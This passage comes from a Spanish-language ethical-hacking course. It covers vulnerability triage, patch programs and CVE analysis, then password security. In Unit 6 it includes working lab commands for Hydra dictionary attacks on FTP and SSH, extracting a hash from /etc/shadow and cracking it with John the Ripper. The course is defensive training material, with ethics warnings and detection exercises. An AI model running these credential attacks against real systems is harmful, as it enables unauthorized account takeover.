# y lanza el escaneo. Toma café: tarda varios minutos.
```

Ejemplo 4: Clasificar hallazgos por riesgo (ejercicio de escritorio)

```
# Con los resultados de tu escaneo, crea esta tabla en tu cuaderno:

# HALLAZGO | CVSS | EXPUESTO A INTERNET | DATOS AFECTADOS | PRIORIDAD (1-4)
# -----|-----|-----|-----|-----
# Ej: Telnet abierto | 7.5 | No (red lab) | Credenciales | 2
#
# Regla de priorización sugerida:
# 1 = Crítico + expuesto + explotable (actuar hoy)
# 2 = Alto o expuesto (actuar esta semana)
# 3 = Medio en sistemas internos (próximo mantenimiento)
# 4 = Bajo o informativo (registrar y monitorear)
```

Ejemplo 5: Verificar un parche (cierre del ciclo)

```
# Simula el ciclo completo en tu laboratorio:
# 1) Escanea y anota un hallazgo (ej: servicio desactualizado X versión 1.0)
# 2) "Corrige": en Metasploitable no puedes parchear fácil,
#    así que practica el concepto en Kali: actualiza un paquete cualquiera
sudo apt update && sudo apt install --only-upgrade -y nmap
# 3) Re-escanea / verifica la nueva versión
nmap --version
# 4) Documenta: hallazgo -> acción -> verificación -> cerrado
```

El hábito "hallazgo-acción-verificación" es lo que te hará valioso como profesional.

Profundización: gestión de vulnerabilidades como programa

Desmenuzando el vector CVSS

El puntaje CVSS viene de un vector como `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`. Cada letra es una métrica: AV (vector de ataque: N=red, A=adyacente, L=local, P=físico), AC (complejidad: L=baja), PR (privilegios requeridos: N=ninguno), UI (interacción de usuario: N=no necesita), S (alcance: si afecta otros componentes), C/I/A (impacto en confidencialidad, integridad, disponibilidad: H=alto). Aprende a leerlo: un `AV:N/PR:N/UI:N` es explotable por cualquiera desde internet sin ayuda de la víctima: peligro máximo. Cuando dudes de un puntaje, lee su vector: te dice exactamente por qué es grave (o no tanto).

Dónde viven las vulnerabilidades (tus fuentes diarias)

NVD (nvd.nist.gov): la base de referencia, con CVSS y productos afectados. CVE.org: el registro oficial de identificadores. Exploit-DB: repositorio de exploits públicos (conocerlos te dice qué tan explotable es algo; nunca los uses fuera de tu laboratorio autorizado). Los avisos de tus fabricantes (Microsoft Patch Tuesday, avisos de Cisco, listas de tu distribución Linux). Un profesional revisa estas fuentes con regularidad: suscríbete a los avisos de los productos que administras.

Programa de gestión de parches (lo que separa empresas seguras)

Las empresas que sufren WannaCry no tienen un programa de parches; tienen "cuando nos acordamos". Un programa serio incluye: inventario completo de software (no puedes parchear lo que no sabes que tienes), clasificación de criticidad por sistema, ventanas de mantenimiento definidas, despliegue por oleadas (primero un grupo piloto, luego el resto), plan de reversión por si un parche rompe algo, y métricas (tiempo medio de parcheo de críticos: la meta profesional es días, no meses). Como consultor, recomendar e implementar esto vale más que cien escaneos.

Matriz de riesgo práctica

Cruza probabilidad (¿hay exploit público? ¿el sistema está expuesto?) con impacto (¿qué datos/sistemas afecta?). Resulta en 4 niveles: crítico (actuar en 24-72h), alto (esta semana), medio (este mes), bajo (próximo ciclo). Documenta cada decisión: "prioridad alta porque hay exploit público y el servidor es accesible desde internet, aunque el CVSS sea 7.5". Esa trazabilidad es lo que un auditor externo quiere ver.

Caso de estudio: WannaCry (2017)

El ransomware WannaCry usó EternalBlue, una vulnerabilidad de SMB en Windows (MS17-010) con parche disponible MESES antes del ataque. Se propagó solo, cifró cientos de miles de equipos en 150 países, tumbó hospitales y fábricas. La lección brutal: el parche existía, gratis, desde antes. Las víctimas no fueron hackeadas por genios: fueron vencidas por no actualizar. Cada vez que pospongas un parche crítico, recuerda WannaCry.

Caso de estudio: Log4Shell en profundidad

CVE-2021-44228, CVSS 10.0, en Log4j (librería de logging de Java usada por millones de aplicaciones, incluyendo productos empresariales gigantes). Un atacante enviaba una cadena de texto especial y conseguía ejecución remota de código. Lo aterrador: la vulnerabilidad estaba en una dependencia, no en el código de las empresas; muchas no sabían que usaban Log4j. Lecciones: inventario de dependencias (SBOM: lista de materiales de software, hoy un requisito en contratos serios), capacidad de parcheo de emergencia, y monitoreo de avisos de seguridad como proceso, no como hobby.

Comparativa de escáneres

Nessus: el estándar comercial; detección excelente, reportes pulidos; versión gratuita limitada (16 IPs). OpenVAS/Greenbone: código abierto, muy capaz, ideal para aprender y para pymes; requiere más configuración. Nmap + NSE: ligero y rápido para verificaciones puntuales, no es un gestor de vulnerabilidades completo. Nexpose/Rapid7, Qualys: plataformas empresariales con gestión continua. Para tu laboratorio: domina Nmap+NSE y OpenVAS; en lo profesional, el cliente suele imponer su herramienta y tu metodología se adapta.

De hallazgo a métrica: el programa continuo

Un escaneo aislado es una foto; un programa de gestión de vulnerabilidades es una película: escaneos periódicos (mensuales mínimo, continuos en empresas grandes), tendencias (¿bajan los críticos mes a mes?), SLA de corrección por severidad, y reporte a dirección con semáforos. Vender "escaneos mensuales con reporte de tendencias" es un servicio recurrente excelente para empezar como consultor.

Glosario de la unidad

Parche: corrección oficial del fabricante. Mitigación: medida que reduce el riesgo sin corregir la causa. Exploit público: código de explotación disponible para cualquiera. Zero-day: vulnerabilidad sin parche conocido. SBOM: inventario de componentes de software. SLA:

acuerdo de nivel de servicio (tiempos comprometidos). Re-test: verificación posterior a la corrección.

Práctica

Ejercicio 1: Ficha CVE completa

Elige un CVE real de un servicio que encuentres en tu escaneo de la Unidad 4 y escribe su ficha: descripción, CVSS, vector de ataque, versiones afectadas y solución. Máximo una cuartilla.

Solución: No hay CVE único correcto; evalúa tu ficha con esta lista: ¿tiene el identificador exacto? ¿el puntaje y su severidad? ¿explica en lenguaje simple qué puede hacer un atacante? ¿dice cómo se corrige (versión parcheada o mitigación)? Si respondiste las cuatro, tu ficha es profesional. Esta es literalmente una sección del informe final (Unidad 10).

Ejercicio 2: Triage de 5 hallazgos

Toma 5 hallazgos de tu escaneo `--script=vuln` y priorízalos del 1 al 4 con la tabla del Ejemplo 4, justificando cada prioridad en una línea.

Solución: Ejemplo de justificación válida: "Prioridad 1: servicio X con CVE crítico, expuesto y con exploit público; un atacante automatizado lo encontraría en horas". Lo que se evalúa es tu criterio, no el número: ¿consideraste exposición? ¿datos afectados? ¿facilidad de explotación? Si tu justificación menciona esos factores, vas bien.

Ejercicio 3: Falso positivo o real

Investiga qué es un falso positivo en escaneo de vulnerabilidades y describe dos formas de verificar manualmente un hallazgo sin explotarlo.

Solución: Un falso positivo es cuando el escáner reporta una vulnerabilidad que no existe realmente (banner de versión modificado, parche aplicado sin cambiar versión, configuración que mitiga el fallo). Formas de verificar sin explotar: 1) revisar manualmente la versión exacta y compararla con la lista de versiones parcheadas del fabricante; 2) revisar la configuración del servicio para ver si la función vulnerable está deshabilitada; 3) buscar el parche instalado en el sistema (con acceso autorizado). La idea clave: confirmar con evidencia, no con explotación.

Ejercicio 4: Tu primer reporte de vulnerabilidades

Con tus hallazgos priorizados, escribe un mini-reporte de una página: resumen ejecutivo (3 líneas para un jefe no técnico), tabla de hallazgos priorizados y 3 recomendaciones concretas.

Solución: Evalúalo así: ¿el resumen ejecutivo lo entiende alguien sin conocimientos técnicos? ¿cada hallazgo tiene prioridad y justificación? ¿las recomendaciones son accionables ("actualizar OpenSSL a la versión 3.0.x") y no vagas ("mejorar la seguridad")? Este mini-reporte es el embrión de tu informe profesional de la Unidad 10.

Ejercicio 5: Plan de remediación

Para tu hallazgo de prioridad 1, escribe un plan de corrección: pasos concretos, orden, riesgos de aplicar el cambio y cómo verificarás que funcionó.

Solución: Un buen plan incluye: ventana de mantenimiento propuesta, respaldo previo al cambio, pasos de aplicación del parche o reconfiguración, plan de reversión si algo falla, y verificación posterior (re-escaneo). Pensar en el plan de reversión es lo que distingue al profesional: nunca apliques cambios sin saber cómo deshacerlos.

Ejercicio 6: Log4Shell, lecciones aprendidas

Investiga brevemente el caso Log4Shell y escribe 5 lecciones defensivas que una empresa debería haber aprendido.

Solución: Lecciones válidas incluyen: mantener inventario de software y dependencias; parchear rápido lo crítico (gestión de parches); no asumir que "una librería" no es superficie de ataque; tener un proceso de respuesta a incidentes; monitorear avisos de seguridad de tus proveedores. Si tus 5 lecciones son accionables por una empresa real, el ejercicio está bien.

Caso práctico integral: ciclo completo de gestión en tu laboratorio

Vamos a correr el ciclo entero detección -> corrección -> verificación con un caso simulado pero realista en tu laboratorio.

Ronda 1: Detección. Ejecuta tu escaneo `--script=vuln`` contra Metasploitable y selecciona 5 hallazgos. Para cada uno crea una ficha: ID (VULN-001...), título, sistema/puerto, descripción, CVE si aplica, CVSS, evidencia (salida del escáner), y prioridad según tu matriz (Unidad 5, Ejemplo 4).

Ronda 2: Análisis y plan. Para tu prioridad 1 escribe el plan de corrección: qué hay que hacer exactamente (ej: "actualizar el servicio X a la versión Y" o "deshabilitar el servicio Z que no se usa"), quién lo haría en una empresa real (el admin del sistema, con tu guía), en qué ventana (fuera de horario pico), con qué respaldo previo y con qué plan de reversión. Si el hallazgo es "servicio innecesario", la corrección es deshabilitarlo: practícalo en una VM clonada.

Ronda 3: Simulación de corrección. En tu clon de laboratorio aplica la corrección (deshabilita el servicio, o documenta la actualización que harías). Anota fecha, hora y pasos exactos: esto es tu "ticket de cambio".

Ronda 4: Verificación (re-test). Vuelve a escanear: ¿el hallazgo desapareció? ¿el servicio sigue funcionando lo necesario? Marca la ficha como VERIFICADO o reábela con notas. Solo lo verificado cuenta como cerrado.

Ronda 5: Reporte del ciclo. Una página: hallazgos iniciales, acciones tomadas, resultado de verificación y pendientes. Este ciclo en miniatura es exactamente lo que harás a escala empresarial: la única diferencia es el tamaño.

Repite el ciclo con tus otros 4 hallazgos. Al terminar tendrás 5 fichas cerradas y un reporte: tu primera "gestión de vulnerabilidades" documentada de principio a fin.

Análisis de un CVE real paso a paso (plantilla)

Toma cualquier CVE de tus hallazgos y disecciónalo así:

```
CVE: ____
Título (en tus palabras): ____
CVSS y vector: ____ (¿qué dicen AV/PR/UI?)
Software y versiones afectadas: ____
¿Qué puede hacer un atacante? (confidencialidad/integridad/disponibilidad)
¿Hay exploit público? (busca en Exploit-DB: solo lectura)
¿Existe parche? ¿Qué versión lo corrige?
Mitigación temporal si no puedo parchear ya: ____
Mi veredicto de prioridad para MI entorno: ____ porque ____
```

Llena 3 fichas así y habrás hecho análisis de vulnerabilidades de nivel profesional. La última línea es la que más vale: el juicio contextualizado.

Métricas de tu programa (aunque sea tu laboratorio)

Lleva la cuenta: total de hallazgos por ronda, % críticos, tiempo de "corrección" simulada, % verificados. Gráficalo a mano en tu cuaderno tras 3 rondas. Ver la línea de críticos bajar es la

motivación más poderosa: es la prueba visible de que tu trabajo protege. En empresas, estas gráficas son las que consiguen presupuesto.

Cuándo escalar: del hallazgo al incidente

No todo hallazgo es "para corregir el mes que viene": si encuentras evidencia de intrusión activa (archivos modificados, usuarios desconocidos, conexiones raras), deja de auditar y escala: aísla, preserva evidencia y avisa al responsable (Unidad 9, contención). Un analista que confunde incidente con hallazgo pierde tiempo valioso. Regla: hallazgo = debilidad potencial (se corrige); incidente = compromiso real o en curso (se contiene ya).

Taller avanzado: del CVE al plan de acción (3 casos guiados)

Caso 1: Servidor web desactualizado en tu laboratorio

Tu escaneo muestra Apache 2.4.49 en el puerto 80. Investigación:

```
# 1) Buscar CVEs de esa versión (en tu navegador: nvd.nist.gov)
# Término: "Apache 2.4.49" -> encuentras CVE-2021-41773 (path traversal,
# CVSS 7.5) y CVE-2021-42013 (evolución del anterior, CVSS 9.8)
# 2) Leer el vector: AV:N/PR:N/UI:N -> explotable por red, sin
#   credenciales ni interacción: peligro máximo
# 3) ¿Hay exploit público? Sí (Exploit-DB, GitHub): la explotación es
#   trivial y automatizada: bots barren internet buscándolo
```

Ficha de análisis:

```
VULN-001 | Apache 2.4.49 con CVE-2021-42013 (CVSS 9.8, crítica)
Exposición: puerto 80 abierto a la red
Exploit público: Sí (automatizado)
Impacto: ejecución remota de código -> control del servidor
Prioridad: 1 (crítica + expuesta + explotable automáticamente)
Corrección: actualizar Apache a 2.4.51+ (o versión con parche del vendor)
             en ventana de mantenimiento, con respaldo y prueba posterior
Verificación: re-escanear versión y repetir script NSE de detección
```

Este es el formato mental que aplicarás a cada hallazgo crítico de tu carrera.

Caso 2: SMBv1 habilitado (el fantasma de WannaCry)

Tu script NSE reporta SMBv1 activo. Análisis: protocolo obsoleto con vulnerabilidades históricas graves (MS17-010), sin cifrado, sin justificación en redes modernas. CVSS de sus CVEs: hasta 9+. Corrección: deshabilitar SMBv1 en todos los equipos (en Windows: características opcionales; en Linux: `server min protocol = SMB2` en Samba). Verificación: re-escanear con `smb-protocols` y confirmar negociación mínima SMB2. Prioridad: 1 si hay equipos Windows sin parchear en la red. Lección: lo obsoleto habilitado "por compatibilidad" es deuda de seguridad con intereses.

Caso 3: Certificado TLS vencido o débil

Nmap o tu revisión manual muestra HTTPS con certificado vencido o con TLS 1.0/1.1. Impacto real: los navegadores marcan el sitio como inseguro (pérdida de confianza y clientes), y protocolos viejos tienen ataques conocidos (BEAST, POODLE). Corrección: renovar certificado (Let's Encrypt es gratis y automatizable) y deshabilitar protocolos < TLS 1.2 en la configuración del servidor. Verificación: `openssl s\_client -connect sitio:443 -tls1` debe fallar (ya no negocia lo viejo) y el navegador debe mostrar candado válido. Parece "menor" hasta que pierdes ventas por el aviso rojo del navegador.

Plantilla de ficha de vulnerabilidad (tu estándar)

```
ID: VULN-____
Título: ____
Sistema/puerto: ____
Descripción (qué es, en 3 líneas): ____
CVE/CVSS/vector: ____
Evidencia (comando + salida resumida): ____
Exploit público: SÍ/NO
Exposición: internet / red interna / local
Impacto si se explota: ____
Prioridad (1-4) y justificación: ____
Corrección recomendada (pasos): ____
Estimación de esfuerzo: ____
Verificación propuesta: ____
Estado: ABIERTO / EN CORRECCIÓN / VERIFICADO
```

Usa esta ficha para cada hallazgo importante de tus prácticas. Cuando tengas 20 fichas bien llenas, sabrás más análisis de vulnerabilidades que muchos "expertos" de LinkedIn.

El arte de recomendar (que te hagan caso)

Una recomendación que se ignora no sirve. Técnicas: sé específico ("actualizar a 2.4.51", no "actualizar el servidor"); da el cómo (pasos o enlace a la guía del fabricante); estima esfuerzo (horas) para que planifiquen; ofrece alternativa si no pueden parchear ya (mitigación temporal: restringir por firewall); y explica el costo de NO hacerlo (el riesgo en lenguaje de negocio). El analista que recomienda así se vuelve imprescindible: no solo encuentra problemas, los resuelve.

Resumen de la unidad

Una vulnerabilidad es una debilidad explotable; el análisis de vulnerabilidades es el triaje que convierte hallazgos en un plan de acción priorizado. Los CVE son el identificador universal y el CVSS mide gravedad técnica del 0 al 10, pero tu riesgo real combina CVSS con contexto (exposición, datos, criticidad). Los escáneres (Nessus, OpenVAS, Nmap con scripts vuln) automatizan la detección pero generan falsos positivos: el analista valida y prioriza. El flujo profesional es: alcance, escaneo, validación, clasificación por riesgo, recomendaciones concretas y verificación de correcciones. La desactualización es la causa número uno de incidentes: parchear a tiempo es la defensa más rentable. Y recuerda: escáneres solo en laboratorio o con autorización escrita.

En la Unidad 6 atacarás (de forma controlada) el eslabón más atacado de todos: las contraseñas.

UNIDAD 6: Contraseñas y autenticación segura

Hay una estadística que se repite año tras año en los reportes de seguridad: la mayoría de los incidentes involucran credenciales robadas o débiles. No hace falta ser un genio para entender por qué: los atacantes son vagos por naturaleza (en el buen sentido táctico). ¿Para qué buscar una vulnerabilidad exótica y compleja si la puerta tiene la contraseña "admin123"? Las contraseñas son el objetivo más rentable porque los humanos somos predecibles: usamos la misma en varios sitios, elegimos palabras fáciles de recordar (y de adivinar) y caemos en phishing que nos las roba.

Esta unidad tiene dos caras. Como atacante controlado, aprenderás cómo se prueban las contraseñas en un laboratorio: qué es la fuerza bruta, qué son los diccionarios, cómo funcionan herramientas como Hydra, siempre contra tus propios sistemas. Como defensor, que es lo importante, aprenderás por qué las políticas de contraseñas existen, cómo se almacenan correctamente (hash y salt), y qué controles (MFA, gestores, bloqueo por intentos) hacen que un ataque de contraseñas fracase. El objetivo final: que seas capaz de auditar la resistencia de las credenciales de tu organización y de endurecerlas.

Explicación detallada

Cómo se almacenan las contraseñas (y cómo NO)

Un sistema bien diseñado nunca guarda tu contraseña en texto claro. La guarda como un hash: el resultado de pasar tu contraseña por una función matemática de un solo sentido. Es como una licuadora: metes la fruta (contraseña) y sale el licuado (hash); pero del licuado no puedes reconstruir la fruta. Cuando inicias sesión, el sistema licúa lo que escribiste y compara licuados. Si coinciden, entras.

El problema: los humanos elegimos contraseñas predecibles, y el atacante puede pre-licuar millones de contraseñas comunes y comparar (a eso se dedican las "tablas arcoíris" y los ataques de diccionario). La defensa es el salt: un valor aleatorio único por usuario que se mezcla con la contraseña antes de licuarla. Con salt, el atacante no puede reusar sus licuados pre-calculados: tiene que empezar de cero para cada usuario. Es una de las defensas más baratas y efectivas de la historia de la seguridad.

Además, las funciones de hash para contraseñas deben ser lentas a propósito (bcrypt, Argon2): si cada intento le cuesta al atacante tiempo de cómputo, probar millones se vuelve inviable. Un hash rápido (como los diseñados para verificar archivos) es una mala elección

para contraseñas. Como defensor, si administras sistemas, verifica: ¿tus contraseñas se guardan con hash lento + salt único? Si la respuesta es no o "no sé", tienes un hallazgo.

Anatomía de un ataque de contraseñas

Fuerza bruta: probar todas las combinaciones posibles (a, b, c... aa, ab...). Matemáticamente infalible, prácticamente inútil contra contraseñas largas: el universo termina antes. Su valor real es contra PINes cortos o contraseñas de 4-6 caracteres.

Ataque de diccionario: probar una lista de contraseñas probables: las más usadas ("123456", "password", "qwerty"), palabras del idioma, nombres, fechas, y variaciones (mayúsculas, números al final). Es sorprendentemente efectivo porque los humanos somos predecibles. Listas famosas como rockyou.txt contienen millones de contraseñas reales filtradas en incidentes pasados.

Ataque híbrido y por reglas: tomar el diccionario y aplicarle transformaciones automáticas ("password" -> "P@ssw0rd2024!"). Las herramientas modernas hacen esto solas.

Rociado de contraseñas (password spraying): en vez de probar muchas contraseñas contra un usuario (lo que bloquea la cuenta), probar una contraseña común contra muchos usuarios. Evade los bloqueos por intentos y es la técnica favorita contra empresas grandes.

Credential stuffing: usar pares usuario-contraseña robados de un sitio para probar en otros, aprovechando que la gente reutiliza credenciales. No "rompe" nada técnicamente; explota el reuso humano.

Ninguna de estas técnicas es mágica: todas explotan debilidad humana o mala configuración. Y todas se derrotan con las defensas que verás abajo.

Hydra: fuerza bruta controlada en tu laboratorio

Hydra es la herramienta clásica para probar inicios de sesión por red de forma automatizada: SSH, FTP, HTTP, SMB y muchos más. En tu laboratorio la usarás contra tu Metasploitable para entender la mecánica: cómo se ve un ataque de diccionario, qué tan rápido cae una contraseña débil y qué registros genera (para que como defensor sepas detectarlo).

Puntos clave: Hydra necesita un objetivo autorizado (tu VM), un usuario (o lista) y una lista de contraseñas (o generador). Es ruidosa por diseño: genera cientos de intentos por minuto, exactamente lo que un sistema bien configurado debe detectar y bloquear. Esa es la lección defensiva central de esta unidad: si tu sistema no detecta ni bloquea un ataque de Hydra de juguete, tampoco detectará uno real.

John the Ripper: auditoría de hashes

John the Ripper (y su primo moderno Hashcat) sirve para auditar hashes de contraseñas: tomas los hashes de tu propio sistema (con autorización, como administrador) y pruebas si tus usuarios usan contraseñas débiles, antes de que lo haga un atacante. Es una auditoría defensiva legítima y muy común: muchas empresas la corren periódicamente y obligan a cambiar las contraseñas que caen rápido.

El flujo: extraer hashes (de tu sistema, como admin), correr John con diccionario y reglas, y reportar qué cuentas cayeron sin exponer las contraseñas en el reporte (buena práctica: reportas "la cuenta X usa contraseña débil, debe cambiarla", no la contraseña misma).

Las defensas que sí funcionan

Contraseñas largas y únicas: la longitud vence a la complejidad. Una frase de 4-5 palabras ("caballo verde salta rio") es más fuerte y más memorable que "P@ss1!". Y única por sitio: un gestor de contraseñas (Bitwarden, KeePass, 1Password) la recuerda por ti. Como profesional, recomienda gestores, no "contraseñas complicadas que nadie recuerda y todos escriben en un post-it".

MFA (autenticación multifactor): aunque roben tu contraseña, necesitan el segundo factor (app autenticadora, llave física, SMS como último recurso). El MFA bien implementado derrota casi todos los ataques de contraseñas. Si administras sistemas, actívalo en todo lo crítico y priorízalo sobre cualquier otra medida.

Bloqueo y limitación de intentos (rate limiting): tras N intentos fallidos, bloquear temporalmente la cuenta o la IP. Derrota la fuerza bruta en línea. Cuidado con el equilibrio: un bloqueo agresivo permite a un atacante bloquear a tus usuarios legítimos (denegación de servicio por bloqueo).

Hash lento + salt (lado servidor): bcrypt/Argon2 con salt único, como se explicó arriba.

Monitoreo y alertas: N intentos fallidos desde una IP = alerta. Patrones de spraying = alerta. Un ataque de contraseñas real genera ruido; tu trabajo es escucharlo.

Política sensata: las guías modernas (NIST) recomiendan longitud mínima (12+), no obligar cambios periódicos arbitrarios (eso genera "Contraseña1", "Contraseña2"...), verificar contra listas de contraseñas filtradas, y permitir pegar (para que los gestores funcionen).

Ingeniería inversa del pensamiento del atacante

Cuando audites credenciales, piensa como atacante: ¿dónde probaría primero? En servicios expuestos a internet con login (SSH, RDP, paneles web, VPN). ¿Qué usuarios probaría? Los obvios: admin, administrator, root, test, el nombre de la empresa. ¿Qué contraseñas? Las de fábrica, las de la lista top-1000, variaciones del nombre de la empresa y el año. Tu auditoría defensiva debe cubrir exactamente esos casos: cambia credenciales por defecto, deshabilita usuarios obvios innecesarios, y no expongas logins a internet sin MFA.

Marco ético de la unidad

Esta es la unidad con la línea ética más sensible, así que queda cristalino: Hydra, John y cualquier prueba de contraseñas SOLO contra tus propios sistemas o con autorización escrita explícita. Probar credenciales en sistemas ajenos, aunque sea "una sola vez para ver", es acceso no autorizado y es delito. Las listas de contraseñas filtradas (rockyou.txt y similares) se usan para auditar tus propios hashes, nunca para atacar cuentas ajenas. Si en tu trabajo auditas contraseñas de usuarios reales, hazlo con aprobación formal, reporta sin exponer las contraseñas en claro y dale a la gente un plazo para cambiarlas.

Errores comunes

Creer que "complejidad" (símbolos raros) sustituye a la longitud: no. Longitud primero.

Obligar a cambiar contraseñas cada 30 días: genera patrones predecibles. Mejor: longitud + MFA + cambio solo si hay sospecha de compromiso.

Guardar contraseñas en hojas de cálculo o chats: si lo ves en una auditoría, es hallazgo crítico.

No activar MFA "porque es incómodo": es la defensa con mejor retorno de inversión en seguridad.

Probar fuerza bruta contra producción sin avisar: puedes bloquear cuentas legítimas y generar un incidente. Solo en laboratorio o en ventanas acordadas.

Ejemplos paso a paso

Todo contra tu laboratorio. Metasploitable tiene usuarios débiles a propósito: es el gimnasio ideal.

Ejemplo 1: Fuerza bruta controlada con Hydra contra tu FTP de laboratorio

```
# Crea una mini-lista de contraseñas de prueba (las débiles típicas)
cat > ~/laboratorio/lista.txt << 'EOF'
123456
password
admin
msfadmin
toor
qwerty
EOF

# Ataque de diccionario contra el FTP de TU Metasploitable
# -l usuario conocido, -P lista de contraseñas, -t hilos
hydra -l msfadmin -P ~/laboratorio/lista.txt -t 4 ftp://10.0.2.6

# Observa: ¿cuántos intentos por segundo? ¿qué tan rápido cae "msfadmin"?
# LECCIÓN: una contraseña débil cae en segundos. Esa es la realidad.
```

Ejemplo 2: Hydra contra SSH (el servicio más atacado del mundo)

```
# Igual, pero contra SSH de tu laboratorio
hydra -l msfadmin -P ~/laboratorio/lista.txt -t 4 ssh://10.0.2.6

# Ahora piensa como defensor: este ataque genera cientos de intentos.
# ¿Tu servidor SSH lo detectaría? ¿lo bloquearía? (Unidad 9: fail2ban)
```

Ejemplo 3: Generar un hash y "romperlo" con John (auditoría de tus propios hashes)

```
# 1) Crea un usuario de prueba en TU Kali con contraseña débil
sudo useradd -m testdebil
echo "testdebil:123456" | sudo chpasswd

# 2) Extrae su hash (como administrador de tu propio sistema)
sudo grep testdebil /etc/shadow > ~/laboratorio/hash.txt
cat ~/laboratorio/hash.txt

# 3) Auditoría con John the Ripper
john ~/laboratorio/hash.txt
john --show ~/laboratorio/hash.txt

# ¿Cuánto tardó en caer "123456"? Esa es la velocidad a la que
# un atacante auditaría TUS usuarios si roba tu base de hashes.
# 4) Limpia: borra el usuario de prueba
sudo userdel -r testdebil
```

Ejemplo 4: Verificar fortaleza con una lista real (rockyou)

```
# Kali trae listas de contraseñas comunes (si instalaste seclists/wordlists)
ls /usr/share/wordlists/

# Descomprime rockyou si está disponible
# sudo gunzip /usr/share/wordlists/rockyou.txt.gz (si existe)

# Cuenta cuántas contraseñas trae: el atacante prueba TODAS en minutos
# wc -l /usr/share/wordlists/rockyou.txt
```

Ejemplo 5: Política de contraseñas en Linux (defensa práctica)

```
# Ver la política actual de tu sistema
cat /etc/login.defs | grep -E "PASS_MAX|PASS_MIN|PASS_WARN"

# En sistemas con pam_pwquality puedes exigir longitud y complejidad.
# Revisa si está instalado:
dpkg -l | grep -i quality

# Concepto defensivo: combina longitud mínima (12+) + verificación
# contra diccionarios + MFA en servicios expuestos.
```

Ejemplo 6: Detectar un ataque de fuerza bruta en tus logs (defensa)

```
# Después de correr Hydra contra tu laboratorio, revisa las huellas:
# En la víctima (Metasploitable) o en tu Kali, los intentos fallidos
# quedan en /var/log/auth.log (SSH) o logs del servicio.

# En tu Kali, simula la revisión:
sudo grep -i "failed" /var/log/auth.log | tail -20

# Como defensor, esto es lo que debes monitorear:
# muchas líneas "Failed password" desde una IP = ataque en curso = alerta.
```

Profundización: criptografía de contraseñas y autenticación moderna

Funciones hash: rápidas vs lentas (y por qué importa)

No todos los hashes sirven para contraseñas. MD5 y SHA-1/SHA-256 son hashes rápidos diseñados para verificar integridad de archivos: un atacante con GPU puede probar miles de millones por segundo. Para contraseñas necesitas funciones lentas y con memoria: bcrypt (con su "costo" ajustable: a mayor costo, más lento), scrypt y Argon2 (el ganador del concurso de hashing de contraseñas, resistente a GPUs). La lentitud es la defensa: si cada intento cuesta 0.1 segundos, un diccionario de millones se vuelve inviable. Como auditor, si ves MD5 para contraseñas en un sistema que revisas, es hallazgo alto.

Sal, pimienta y estiramiento

Ya conoces el salt (aleatorio por usuario, guardado junto al hash). La "pimienta" (pepper) es un secreto adicional guardado separado (no en la base de datos): aunque roben los hashes, sin la pimienta no sirven. El "estiramiento" (key stretching) es aplicar el hash miles de veces. Combinación profesional: Argon2 + salt único + pimienta separada. Si administras el desarrollo o la compra de un sistema, pregunta por esto: la respuesta te dice mucho de su seguridad.

Gestores de contraseñas: guía práctica

Un gestor genera, guarda y autocompleta contraseñas únicas por sitio; tú solo recuerdas una contraseña maestra (larga). Opciones: Bitwarden (código abierto, gratis, sincroniza entre dispositivos), KeePass (local, máximo control), 1Password (comercial pulido). Buenas prácticas: maestra larga (frase de 5+ palabras), MFA en el gestor, respaldo cifrado de la bóveda, y nunca guardes la maestra en el mismo lugar. Para empresas: gestores con

administración central y auditoría. Recomendar e implementar un gestor en una pyme es un servicio consultivo rápido y de alto impacto.

MFA a fondo: no todos los factores son iguales

Algo que sabes (contraseña) + algo que tienes (teléfono, llave) + algo que eres (huella). Por resistencia al phishing, de menor a mayor: SMS (vulnerable a SIM swapping e interceptación: mejor que nada, pero el más débil), app TOTP como Google Authenticator (códigos de 30 segundos: bueno), notificaciones push (cómodas, pero existe el "MFA fatigue": el atacante spamea aprobaciones hasta que aceptas por cansancio: educa contra esto), llaves físicas FIDO2 (YubiKey: resisten phishing porque verifican el sitio real: lo mejor). Recomendación profesional: FIDO2 donde se pueda, TOTP como base general, SMS solo como último recurso. Y MFA en todo lo expuesto a internet, sin excepciones para "cuentas de servicio" (esas con claves API y rotación).

Política moderna según NIST 800-63

La guía actual del NIST (el estándar que siguen los serios): longitud mínima de 8 (recomendado 12+), NO exigir composiciones raras (mayúscula+número+símbolo obligatorios generan "P@ssw0rd1"), NO exigir cambios periódicos arbitrarios (solo cambiar si hay sospecha de compromiso), VERIFICAR contra listas de contraseñas filtradas al crearlas, PERMITIR pegar (para gestores) y mostrar/ocultar. Si auditas una política que pide "cambio cada 30 días con 3 de 4 tipos de caracteres", ya tienes una recomendación de mejora.

Caso de estudio: Collection #1 y el reuso mortal

En 2019 apareció "Collection #1": 773 millones de pares usuario-contraseña recopilados de filtraciones. Los atacantes los usan en credential stuffing automatizado contra miles de sitios. Las víctimas no fueron "hackeadas": reutilizaron su contraseña filtrada en otro sitio. Lección triple: unicidad por sitio (gestor), MFA (frena el stuffing), y monitoreo de filtraciones para tus dominios corporativos.

Respuesta ante compromiso de credenciales

Si sospechas que una contraseña se filtró: 1) cámbiala de inmediato (desde un equipo limpio), 2) cierra todas las sesiones activas, 3) revisa actividad reciente (logins extraños), 4) cambia también donde la reutilizaste (por eso no se reutiliza), 5) activa MFA si no lo tenías, 6) en empresas: rota secretos relacionados (API keys, tokens) y avisa al equipo de seguridad. Ten este procedimiento escrito antes de necesitarlo.

Auditoría de autenticación: checklist del consultor

En una auditoría real revisas: política de contraseñas (longitud, filtradas, MFA), almacenamiento (hash lento + salt: pregunta al equipo técnico), MFA en accesos remotos/críticos, cuentas por defecto y obsoletas, intentos de login monitoreados, gestión de cuentas privilegiadas, y proceso de altas/bajas (¿cuánto tarda en desactivarse la cuenta de quien renuncia?). Cada punto débil es un hallazgo con recomendación concreta.

Glosario de la unidad

Hash: huella digital matemática de un dato. Diccionario: lista de contraseñas probables. Tabla arcoíris: hashes pre-calculados (el salt las derrota). TOTP: códigos temporales de un solo uso. FIDO2: estándar de llaves físicas anti-phishing. SIM swapping: duplicar tu chip para robar SMS. Stuffing: probar credenciales robadas en otros sitios.

Práctica

Ejercicio 1: Cronometra la debilidad

Con Hydra y tu lista de 6 contraseñas, mide con `time` cuánto tarda en encontrar la contraseña del FTP de tu Metasploitable. Luego agrega 6 contraseñas más al final de la lista (con la correcta al final) y mide de nuevo. ¿Qué concluye un defensor?

